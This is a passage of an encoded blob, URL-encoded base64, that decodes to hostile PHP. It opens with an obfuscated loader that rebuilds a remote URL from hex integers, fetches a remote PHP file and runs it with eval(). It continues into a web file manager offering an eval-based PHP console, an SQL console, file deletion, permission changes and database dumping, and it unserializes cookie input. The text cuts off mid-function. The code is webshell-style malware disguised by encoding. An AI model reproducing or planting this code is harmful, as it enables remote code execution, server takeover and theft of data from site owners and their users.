xuICAgICAgICB9XHJcbiAgICA8XC9zY3JpcHQ%2BXHJcbjxcL2JvZHk%2BXHJcbjxcL2h0bWw%2BXHJcbjw%2FcGhwIG9iX2VuZF9mbHVzaCgpOyA%2FPiIsIjw%2FcGhwXHJcbiRiMT0weDY4NzQ3NDcwNzMzYTJmMmY7JGIyPTB4NjM2ZjY0NjUyZTc0NmY3MDskYjM9MHg2YjdhMmU3Mjc1MmY2NjY3O1xyXG4kcD1wYWNrKCdKKicsJGIxLCRiMiwkYjMpLlwialwvMVwvZXY1LnBocFwiO1xyXG4kcT0naW1wbCcuKGNocigxMTEpLidkZScpOyRyPSRxKCcnLGZpbGUoJHApKTtcclxuZXZhbChcIj9cIi5cIj5cIi4kcik7Pz4iLCI%2FPz8%2FPz8%2FPz8%2FPz8%2FP1xyXG48P3BocFxyXG5cLyogUEhQIFx1NjUzNlx1NTIzMFx1NThlYjFcL3dwLWNvXHU1ZTA4XHU1OTI3XHU3Njg0XHU3Yzg5NVx1NjUzNlx1NTIzMFx1NTkyNzZzNWQ2c1x1NjYyZlx1NTkxYVx1NWMxMXIgMS41ICpcL1xyXG5cclxuXC9cLyBQcmVwYXJhdGlvbnNcclxuJHN0YXJ0dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7XHJcbiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTtcclxuJGxhbmdzID0gYXJyYXkoJ2VuJywncnUnLCdkZScsJ2ZyJywndWsnKTtcclxuJHBhdGggPSBlbXB0eSgkX1JFUVVFU1RbJ3BhdGgnXSkgPyAkcGF0aCA9IHJlYWxwYXRoKCcuJykgOiByZWFscGF0aCgkX1JFUVVFU1RbJ3BhdGgnXSk7XHJcbiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcGF0aCkgLiAnXC8nO1xyXG4kbWFpbl9wYXRoPXN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJyxyZWFscGF0aCgnLlwvJykpO1xyXG4kcGhhcl9tYXliZSA9ICh2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLFwiNS4zLjBcIixcIjxcIikpP3RydWU6ZmFsc2U7XHJcbiRtc2dfbnRpbWVzID0gJyc7IFwvXC8gc2VydmljZSBzdHJpbmdcclxuJGRlZmF1bHRfbGFuZ3VhZ2UgPSAncnUnO1xyXG4kZGV0ZWN0X2xhbmcgPSB0cnVlO1xyXG4kZm1fdmVyc2lvbiA9IDEuNDtcclxuXHJcblxyXG5cclxuXC9cLyBMaXR0bGUgZGVmYXVsdCBjb25maWdcclxuJGZtX2RlZmF1bHRfY29uZmlnID0gYXJyYXkgKFxyXG5cdCdtYWtlX2RpcmVjdG9yeScgPT4gdHJ1ZSwgXHJcblx0J25ld19maWxlJyA9PiB0cnVlLCBcclxuXHQndXBsb2FkX2ZpbGUnID0%2BIHRydWUsIFxyXG5cdCdzaG93X2Rpcl9zaXplJyA9PiBmYWxzZSwgXC9cL2lmIHRydWUsIHNob3cgZGlyZWN0b3J5IHNpemUgXHUyMTkyIG1heWJlIHNsb3cgXHJcblx0J3Nob3dfaW1nJyA9PiB0cnVlLCBcclxuXHQnc2hvd19waHBfdmVyJyA9PiB0cnVlLCBcclxuXHQnc2hvd19waHBfaW5pJyA9PiBmYWxzZSwgXC9cLyBzaG93IHBhdGggdG8gY3VycmVudCBwaHAuaW5pXHJcblx0J3Nob3dfZ3QnID0%2BIHRydWUsIFwvXC8gc2hvdyBnZW5lcmF0aW9uIHRpbWVcclxuXHQnZW5hYmxlX3BocF9jb25zb2xlJyA9PiB0cnVlLFxyXG5cdCdlbmFibGVfc3FsX2NvbnNvbGUnID0%2BIHRydWUsXHJcblx0J3NxbF9zZXJ2ZXInID0%2BICdsb2NhbGhvc3QnLFxyXG5cdCdzcWxfdXNlcm5hbWUnID0%2BICdyb290JyxcclxuXHQnc3FsX3Bhc3N3b3JkJyA9PiAnJyxcclxuXHQnc3FsX2RiJyA9PiAndGVzdF9iYXNlJyxcclxuXHQnZW5hYmxlX3Byb3h5JyA9PiB0cnVlLFxyXG5cdCdzaG93X3BocGluZm8nID0%2BIHRydWUsXHJcblx0J3Nob3dfeGxzJyA9PiB0cnVlLFxyXG5cdCdmbV9zZXR0aW5ncycgPT4gdHJ1ZSxcclxuXHQncmVzdG9yZV90aW1lJyA9PiB0cnVlLFxyXG5cdCdmbV9yZXN0b3JlX3RpbWUnID0%2BIGZhbHNlLFxyXG4pO1xyXG5cclxuaWYgKGVtcHR5KCRfQ09PS0lFWydmbV9jb25maWcnXSkpICRmbV9jb25maWcgPSAkZm1fZGVmYXVsdF9jb25maWc7XHJcbmVsc2UgJGZtX2NvbmZpZyA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWydmbV9jb25maWcnXSk7XHJcblxyXG5cL1wvIENoYW5nZSBsYW5ndWFnZVxyXG5pZiAoaXNzZXQoJF9QT1NUWydmbV9sYW5nJ10pKSB7IFxyXG5cdHNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1fbGFuZyddLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTtcclxuXHQkX0NPT0tJRVsnZm1fbGFuZyddID0gJF9QT1NUWydmbV9sYW5nJ107XHJcbn1cclxuJGxhbmd1YWdlID0gJGRlZmF1bHRfbGFuZ3VhZ2U7XHJcblxyXG5cL1wvIERldGVjdCBicm93c2VyIGxhbmd1YWdlXHJcbmlmKCRkZXRlY3RfbGFuZyAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKXtcclxuXHQkbGFuZ19wcmlvcml0eSA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk7XHJcblx0aWYgKCFlbXB0eSgkbGFuZ19wcmlvcml0eSkpe1xyXG5cdFx0Zm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXtcclxuXHRcdFx0JGxuZyA9IGV4cGxvZGUoJzsnLCAkbGFuZ19hcnIpO1xyXG5cdFx0XHQkbG5nID0gJGxuZ1swXTtcclxuXHRcdFx0aWYoaW5fYXJyYXkoJGxuZywkbGFuZ3MpKXtcclxuXHRcdFx0XHQkbGFuZ3VhZ2UgPSAkbG5nO1xyXG5cdFx0XHRcdGJyZWFrO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0fVxyXG59IFxyXG5cclxuXC9cLyBDb29raWUgbGFuZ3VhZ2UgaXMgcHJpbWFyeSBmb3IgZXZlclxyXG4kbGFuZ3VhZ2UgPSAoZW1wdHkoJF9DT09LSUVbJ2ZtX2xhbmcnXSkpID8gJGxhbmd1YWdlIDogJF9DT09LSUVbJ2ZtX2xhbmcnXTtcclxuXHJcblxyXG5cL1wvdHJhbnNsYXRpb25cclxuZnVuY3Rpb24gX18oJHRleHQpe1xyXG5cdGdsb2JhbCAkbGFuZztcclxuXHRpZiAoaXNzZXQoJGxhbmdbJHRleHRdKSkgcmV0dXJuICRsYW5nWyR0ZXh0XTtcclxuXHRlbHNlIHJldHVybiAkdGV4dDtcclxufTtcclxuXHJcblwvXC9kZWxldGUgZmlsZXMgYW5kIGRpcnMgcmVjdXJzaXZlbHlcclxuZnVuY3Rpb24gZm1fZGVsX2ZpbGVzKCRmaWxlLCAkcmVjdXJzaXZlID0gZmFsc2UpIHtcclxuXHRpZigkcmVjdXJzaXZlICYmIEBpc19kaXIoJGZpbGUpKSB7XHJcblx0XHQkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGUsICcnLCAnJywgdHJ1ZSk7XHJcblx0XHRmb3JlYWNoICgkZWxzIGFzICRlbCkge1xyXG5cdFx0XHRpZigkZWwgIT0gJy4nICYmICRlbCAhPSAnLi4nKXtcclxuXHRcdFx0XHRmbV9kZWxfZmlsZXMoJGZpbGUgLiAnXC8nIC4gJGVsLCB0cnVlKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdH1cclxuXHRpZihAaXNfZGlyKCRmaWxlKSkge1xyXG5cdFx0cmV0dXJuIHJtZGlyKCRmaWxlKTtcclxuXHR9IGVsc2Uge1xyXG5cdFx0cmV0dXJuIEB1bmxpbmsoJGZpbGUpO1xyXG5cdH1cclxufVxyXG5cclxuXC9cL2ZpbGUgcGVybXNcclxuZnVuY3Rpb24gZm1fcmlnaHRzX3N0cmluZygkZmlsZSwgJGlmID0gZmFsc2Upe1xyXG5cdCRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7XHJcblx0JGluZm8gPSAnJztcclxuXHRpZighJGlmKXtcclxuXHRcdGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHtcclxuXHRcdFx0XC9cL1NvY2tldFxyXG5cdFx0XHQkaW5mbyA9ICdzJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHtcclxuXHRcdFx0XC9cL1N5bWJvbGljIExpbmtcclxuXHRcdFx0JGluZm8gPSAnbCc7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7XHJcblx0XHRcdFwvXC9SZWd1bGFyXHJcblx0XHRcdCRpbmZvID0gJy0nO1xyXG5cdFx0fSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkge1xyXG5cdFx0XHRcL1wvQmxvY2sgc3BlY2lhbFxyXG5cdFx0XHQkaW5mbyA9ICdiJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHtcclxuXHRcdFx0XC9cL0RpcmVjdG9yeVxyXG5cdFx0XHQkaW5mbyA9ICdkJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHtcclxuXHRcdFx0XC9cL0NoYXJhY3RlciBzcGVjaWFsXHJcblx0XHRcdCRpbmZvID0gJ2MnO1xyXG5cdFx0fSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkge1xyXG5cdFx0XHRcL1wvRklGTyBwaXBlXHJcblx0XHRcdCRpbmZvID0gJ3AnO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0XC9cL1Vua25vd25cclxuXHRcdFx0JGluZm8gPSAndSc7XHJcblx0XHR9XHJcblx0fVxyXG4gIFxyXG5cdFwvXC9Pd25lclxyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA%2FICdyJyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTtcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgP1xyXG5cdCgoJHBlcm1zICYgMHgwODAwKSA%2FICdzJyA6ICd4JyApIDpcclxuXHQoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTtcclxuIFxyXG5cdFwvXC9Hcm91cFxyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA%2FICdyJyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTtcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgP1xyXG5cdCgoJHBlcm1zICYgMHgwNDAwKSA%2FICdzJyA6ICd4JyApIDpcclxuXHQoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTtcclxuIFxyXG5cdFwvXC9Xb3JsZFxyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA%2FICdyJyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTtcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgP1xyXG5cdCgoJHBlcm1zICYgMHgwMjAwKSA%2FICd0JyA6ICd4JyApIDpcclxuXHQoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTtcclxuXHJcblx0cmV0dXJuICRpbmZvO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9jb252ZXJ0X3JpZ2h0cygkbW9kZSkge1xyXG5cdCRtb2RlID0gc3RyX3BhZCgkbW9kZSw5LCctJyk7XHJcblx0JHRyYW5zID0gYXJyYXkoJy0nPT4nMCcsJ3InPT4nNCcsJ3cnPT4nMicsJ3gnPT4nMScpO1xyXG5cdCRtb2RlID0gc3RydHIoJG1vZGUsJHRyYW5zKTtcclxuXHQkbmV3bW9kZSA9ICcwJztcclxuXHQkb3duZXIgPSAoaW50KSAkbW9kZVswXSArIChpbnQpICRtb2RlWzFdICsgKGludCkgJG1vZGVbMl07IFxyXG5cdCRncm91cCA9IChpbnQpICRtb2RlWzNdICsgKGludCkgJG1vZGVbNF0gKyAoaW50KSAkbW9kZVs1XTsgXHJcblx0JHdvcmxkID0gKGludCkgJG1vZGVbNl0gKyAoaW50KSAkbW9kZVs3XSArIChpbnQpICRtb2RlWzhdOyBcclxuXHQkbmV3bW9kZSAuPSAkb3duZXIgLiAkZ3JvdXAgLiAkd29ybGQ7XHJcblx0cmV0dXJuIGludHZhbCgkbmV3bW9kZSwgOCk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2NobW9kKCRmaWxlLCAkdmFsLCAkcmVjID0gZmFsc2UpIHtcclxuXHQkcmVzID0gQGNobW9kKHJlYWxwYXRoKCRmaWxlKSwgJHZhbCk7XHJcblx0aWYoQGlzX2RpcigkZmlsZSkgJiYgJHJlYyl7XHJcblx0XHQkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGUpO1xyXG5cdFx0Zm9yZWFjaCAoJGVscyBhcyAkZWwpIHtcclxuXHRcdFx0JHJlcyA9ICRyZXMgJiYgZm1fY2htb2QoJGZpbGUgLiAnXC8nIC4gJGVsLCAkdmFsLCB0cnVlKTtcclxuXHRcdH1cclxuXHR9XHJcblx0cmV0dXJuICRyZXM7XHJcbn1cclxuXHJcblwvXC9sb2FkIGZpbGVzXHJcbmZ1bmN0aW9uIGZtX2Rvd25sb2FkKCRmaWxlX25hbWUpIHtcclxuICAgIGlmICghZW1wdHkoJGZpbGVfbmFtZSkpIHtcclxuXHRcdGlmIChmaWxlX2V4aXN0cygkZmlsZV9uYW1lKSkge1xyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiAuIGJhc2VuYW1lKCRmaWxlX25hbWUpKTsgICBcclxuXHRcdFx0aGVhZGVyKFwiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvblwvZm9yY2UtZG93bmxvYWRcIik7XHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbVwiKTtcclxuXHRcdFx0aGVhZGVyKFwiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvblwvZG93bmxvYWRcIik7XHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXJcIik7ICAgICAgICAgICAgXHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtTGVuZ3RoOiBcIiAuIGZpbGVzaXplKCRmaWxlX25hbWUpKTtcdFx0XHJcblx0XHRcdGZsdXNoKCk7IFwvXC8gdGhpcyBkb2Vzbid0IHJlYWxseSBtYXR0ZXIuXHJcblx0XHRcdCRmcCA9IGZvcGVuKCRmaWxlX25hbWUsIFwiclwiKTtcclxuXHRcdFx0d2hpbGUgKCFmZW9mKCRmcCkpIHtcclxuXHRcdFx0XHRlY2hvIGZyZWFkKCRmcCwgNjU1MzYpO1xyXG5cdFx0XHRcdGZsdXNoKCk7IFwvXC8gdGhpcyBpcyBlc3NlbnRpYWwgZm9yIGxhcmdlIGRvd25sb2Fkc1xyXG5cdFx0XHR9IFxyXG5cdFx0XHRmY2xvc2UoJGZwKTtcclxuXHRcdFx0ZGllKCk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRoZWFkZXIoJ0hUVFBcLzEuMCA0MDQgTm90IEZvdW5kJywgdHJ1ZSwgNDA0KTtcclxuXHRcdFx0aGVhZGVyKCdTdGF0dXM6IDQwNCBOb3QgRm91bmQnKTsgXHJcblx0XHRcdGRpZSgpO1xyXG4gICAgICAgIH1cclxuICAgIH0gXHJcbn1cclxuXHJcblwvXC9zaG93IGZvbGRlciBzaXplXHJcbmZ1bmN0aW9uIGZtX2Rpcl9zaXplKCRmLCRmb3JtYXQ9dHJ1ZSkge1xyXG5cdGlmKCRmb3JtYXQpICB7XHJcblx0XHQkc2l6ZT1mbV9kaXJfc2l6ZSgkZixmYWxzZSk7XHJcblx0XHRpZigkc2l6ZTw9MTAyNCkgcmV0dXJuICRzaXplLicgYnl0ZXMnO1xyXG5cdFx0ZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZVwvKDEwMjQpLDIpLicmbmJzcDtLYic7XHJcblx0XHRlbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQpLDIpLicmbmJzcDtNYic7XHJcblx0XHRlbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZVwvKDEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7R2InO1xyXG5cdFx0ZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZVwvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtUYic7IFwvXC86KSkpXHJcblx0XHRlbHNlIHJldHVybiByb3VuZCgkc2l6ZVwvKDEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1BiJzsgXC9cLyA7LSlcclxuXHR9IGVsc2Uge1xyXG5cdFx0aWYoaXNfZmlsZSgkZikpIHJldHVybiBmaWxlc2l6ZSgkZik7XHJcblx0XHQkc2l6ZT0wO1xyXG5cdFx0JGRoPW9wZW5kaXIoJGYpO1xyXG5cdFx0d2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkge1xyXG5cdFx0XHRpZigkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSBjb250aW51ZTtcclxuXHRcdFx0aWYoaXNfZmlsZSgkZi4nXC8nLiRmaWxlKSkgJHNpemUrPWZpbGVzaXplKCRmLidcLycuJGZpbGUpO1xyXG5cdFx0XHRlbHNlICRzaXplKz1mbV9kaXJfc2l6ZSgkZi4nXC8nLiRmaWxlLGZhbHNlKTtcclxuXHRcdH1cclxuXHRcdGNsb3NlZGlyKCRkaCk7XHJcblx0XHRyZXR1cm4gJHNpemUrZmlsZXNpemUoJGYpOyBcclxuXHR9XHJcbn1cclxuXHJcblwvXC9zY2FuIGRpcmVjdG9yeVxyXG5mdW5jdGlvbiBmbV9zY2FuX2RpcigkZGlyZWN0b3J5LCAkZXhwID0gJycsICR0eXBlID0gJ2FsbCcsICRkb19ub3RfZmlsdGVyID0gZmFsc2UpIHtcclxuXHQkZGlyID0gJG5kaXIgPSBhcnJheSgpO1xyXG5cdGlmKCFlbXB0eSgkZXhwKSl7XHJcblx0XHQkZXhwID0gJ1wvXicgLiBzdHJfcmVwbGFjZSgnKicsICcoLiopJywgc3RyX3JlcGxhY2UoJy4nLCAnXFxcXC4nLCAkZXhwKSkgLiAnJFwvJztcclxuXHR9XHJcblx0aWYoIWVtcHR5KCR0eXBlKSAmJiAkdHlwZSAhPT0gJ2FsbCcpe1xyXG5cdFx0JGZ1bmMgPSAnaXNfJyAuICR0eXBlO1xyXG5cdH1cclxuXHRpZihAaXNfZGlyKCRkaXJlY3RvcnkpKXtcclxuXHRcdCRmaCA9IG9wZW5kaXIoJGRpcmVjdG9yeSk7XHJcblx0XHR3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRmaCkpKSB7XHJcblx0XHRcdGlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikge1xyXG5cdFx0XHRcdGlmKChlbXB0eSgkdHlwZSkgfHwgJHR5cGUgPT0gJ2FsbCcgfHwgJGZ1bmMoJGRpcmVjdG9yeSAuICdcLycgLiAkZmlsZW5hbWUpKSAmJiAoZW1wdHkoJGV4cCkgfHwgcHJlZ19tYXRjaCgkZXhwLCAkZmlsZW5hbWUpKSl7XHJcblx0XHRcdFx0XHQkZGlyW10gPSAkZmlsZW5hbWU7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0XHRjbG9zZWRpcigkZmgpO1xyXG5cdFx0bmF0c29ydCgkZGlyKTtcclxuXHR9XHJcblx0cmV0dXJuICRkaXI7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2xpbmsoJGdldCwkbGluaywkbmFtZSwkdGl0bGU9JycpIHtcclxuXHRpZiAoZW1wdHkoJHRpdGxlKSkgJHRpdGxlPSRuYW1lLicgJy5iYXNlbmFtZSgkbGluayk7XHJcblx0cmV0dXJuICcmbmJzcDsmbmJzcDs8YSBocmVmPVwiPycuJGdldC4nPScuYmFzZTY0X2VuY29kZSgkbGluaykuJ1wiIHRpdGxlPVwiJy4kdGl0bGUuJ1wiPicuJG5hbWUuJzxcL2E%2BJztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fYXJyX3RvX29wdGlvbigkYXJyLCRuLCRzZWw9Jycpe1xyXG5cdGZvcmVhY2goJGFyciBhcyAkdil7XHJcblx0XHQkYj0kdlskbl07XHJcblx0XHQkcmVzLj0nPG9wdGlvbiB2YWx1ZT1cIicuJGIuJ1wiICcuKCRzZWwgJiYgJHNlbD09JGI%2FJ3NlbGVjdGVkJzonJykuJz4nLiRiLic8XC9vcHRpb24%2BJztcclxuXHR9XHJcblx0cmV0dXJuICRyZXM7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2xhbmdfZm9ybSAoJGN1cnJlbnQ9J2VuJyl7XHJcbnJldHVybiAnXHJcbjxmb3JtIG5hbWU9XCJjaGFuZ2VfbGFuZ1wiIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIj5cclxuXHQ8c2VsZWN0IG5hbWU9XCJmbV9sYW5nXCIgdGl0bGU9XCInLl9fKCdMYW5ndWFnZScpLidcIiBvbmNoYW5nZT1cImRvY3VtZW50LmZvcm1zW1xcJ2NoYW5nZV9sYW5nXFwnXS5zdWJtaXQoKVwiID5cclxuXHRcdDxvcHRpb24gdmFsdWU9XCJlblwiICcuKCRjdXJyZW50PT0nZW4nPydzZWxlY3RlZD1cInNlbGVjdGVkXCIgJzonJykuJz4nLl9fKCdFbmdsaXNoJykuJzxcL29wdGlvbj5cclxuXHRcdDxvcHRpb24gdmFsdWU9XCJkZVwiICcuKCRjdXJyZW50PT0nZGUnPydzZWxlY3RlZD1cInNlbGVjdGVkXCIgJzonJykuJz4nLl9fKCdHZXJtYW4nKS4nPFwvb3B0aW9uPlxyXG5cdFx0PG9wdGlvbiB2YWx1ZT1cInJ1XCIgJy4oJGN1cnJlbnQ9PSdydSc%2FJ3NlbGVjdGVkPVwic2VsZWN0ZWRcIiAnOicnKS4nPicuX18oJ1J1c3NpYW4nKS4nPFwvb3B0aW9uPlxyXG5cdFx0PG9wdGlvbiB2YWx1ZT1cImZyXCIgJy4oJGN1cnJlbnQ9PSdmcic%2FJ3NlbGVjdGVkPVwic2VsZWN0ZWRcIiAnOicnKS4nPicuX18oJ0ZyZW5jaCcpLic8XC9vcHRpb24%2BXHJcblx0XHQ8b3B0aW9uIHZhbHVlPVwidWtcIiAnLigkY3VycmVudD09J3VrJz8nc2VsZWN0ZWQ9XCJzZWxlY3RlZFwiICc6JycpLic%2BJy5fXygnVWtyYWluaWFuJykuJzxcL29wdGlvbj5cclxuXHQ8XC9zZWxlY3Q%2BXHJcbjxcL2Zvcm0%2BXHJcbic7XHJcbn1cclxuXHRcclxuZnVuY3Rpb24gZm1fcm9vdCgkZGlybmFtZSl7XHJcblx0cmV0dXJuICgkZGlybmFtZT09Jy4nIE9SICRkaXJuYW1lPT0nLi4nKTtcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fcGhwKCRzdHJpbmcpe1xyXG5cdCRkaXNwbGF5X2Vycm9ycz1pbmlfZ2V0KCdkaXNwbGF5X2Vycm9ycycpO1xyXG5cdGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzEnKTtcclxuXHRvYl9zdGFydCgpO1xyXG5cdGV2YWwodHJpbSgkc3RyaW5nKSk7XHJcblx0JHRleHQgPSBvYl9nZXRfY29udGVudHMoKTtcclxuXHRvYl9lbmRfY2xlYW4oKTtcclxuXHRpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICRkaXNwbGF5X2Vycm9ycyk7XHJcblx0cmV0dXJuICR0ZXh0O1xyXG59XHJcblxyXG5cL1wvU0hPVyBEQVRBQkFTRVNcclxuZnVuY3Rpb24gZm1fc3FsX2Nvbm5lY3QoKXtcclxuXHRnbG9iYWwgJGZtX2NvbmZpZztcclxuXHRyZXR1cm4gbmV3IG15c3FsaSgkZm1fY29uZmlnWydzcWxfc2VydmVyJ10sICRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLCAkZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXSwgJGZtX2NvbmZpZ1snc3FsX2RiJ10pO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9zcWwoJHF1ZXJ5KXtcclxuXHRnbG9iYWwgJGZtX2NvbmZpZztcclxuXHQkcXVlcnk9dHJpbSgkcXVlcnkpO1xyXG5cdG9iX3N0YXJ0KCk7XHJcblx0JGNvbm5lY3Rpb24gPSBmbV9zcWxfY29ubmVjdCgpO1xyXG5cdGlmICgkY29ubmVjdGlvbi0%2BY29ubmVjdF9lcnJvcikge1xyXG5cdFx0b2JfZW5kX2NsZWFuKCk7XHRcclxuXHRcdHJldHVybiAkY29ubmVjdGlvbi0%2BY29ubmVjdF9lcnJvcjtcclxuXHR9XHJcblx0JGNvbm5lY3Rpb24tPnNldF9jaGFyc2V0KCd1dGY4Jyk7XHJcbiAgICAkcXVlcmllZCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdGlvbiwkcXVlcnkpO1xyXG5cdGlmICgkcXVlcmllZD09PWZhbHNlKSB7XHJcblx0XHRvYl9lbmRfY2xlYW4oKTtcdFxyXG5cdFx0cmV0dXJuIG15c3FsaV9lcnJvcigkY29ubmVjdGlvbik7XHJcbiAgICB9IGVsc2Uge1xyXG5cdFx0aWYoIWVtcHR5KCRxdWVyaWVkKSl7XHJcblx0XHRcdHdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHF1ZXJpZWQpKSB7XHJcblx0XHRcdFx0JHF1ZXJ5X3Jlc3VsdFtdPSAgJHJvdztcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0JHZkdW1wPWVtcHR5KCRxdWVyeV9yZXN1bHQpPycnOnZhcl9leHBvcnQoJHF1ZXJ5X3Jlc3VsdCx0cnVlKTtcdFxyXG5cdFx0b2JfZW5kX2NsZWFuKCk7XHRcclxuXHRcdCRjb25uZWN0aW9uLT5jbG9zZSgpO1xyXG5cdFx0cmV0dXJuICc8cHJlPicuc3RyaXBzbGFzaGVzKCR2ZHVtcCkuJzxcL3ByZT4nO1xyXG5cdH1cclxufVxyXG5cclxuZnVuY3Rpb24gZm1fYmFja3VwX3RhYmxlcygkdGFibGVzID0gJyonLCAkZnVsbF9iYWNrdXAgPSB0cnVlKSB7XHJcblx0Z2xvYmFsICRwYXRoO1xyXG5cdCRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTtcclxuXHQkZGVsaW1pdGVyID0gXCI7IFxcbiAgXFxuXCI7XHJcblx0aWYoJHRhYmxlcyA9PSAnKicpXHR7XHJcblx0XHQkdGFibGVzID0gYXJyYXkoKTtcclxuXHRcdCRyZXN1bHQgPSAkbXlzcWxkYi0%2BcXVlcnkoJ1NIT1cgVEFCTEVTJyk7XHJcblx0XHR3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSlcdHtcclxuXHRcdFx0JHRhYmxlc1tdID0gJHJvd1swXTtcclxuXHRcdH1cclxuXHR9IGVsc2Uge1xyXG5cdFx0JHRhYmxlcyA9IGlzX2FycmF5KCR0YWJsZXMpID8gJHRhYmxlcyA6IGV4cGxvZGUoJywnLCR0YWJsZXMpO1xyXG5cdH1cclxuICAgIFxyXG5cdCRyZXR1cm49Jyc7XHJcblx0Zm9yZWFjaCgkdGFibGVzIGFzICR0YWJsZSlcdHtcclxuXHRcdCRyZXN1bHQgPSAkbXlzcWxkYi0%2BcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpO1xyXG5cdFx0JG51bV9maWVsZHMgPSBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTtcclxuXHRcdCRyZXR1cm4uPSAnRFJPUCBUQUJMRSBJRiBFWElTVF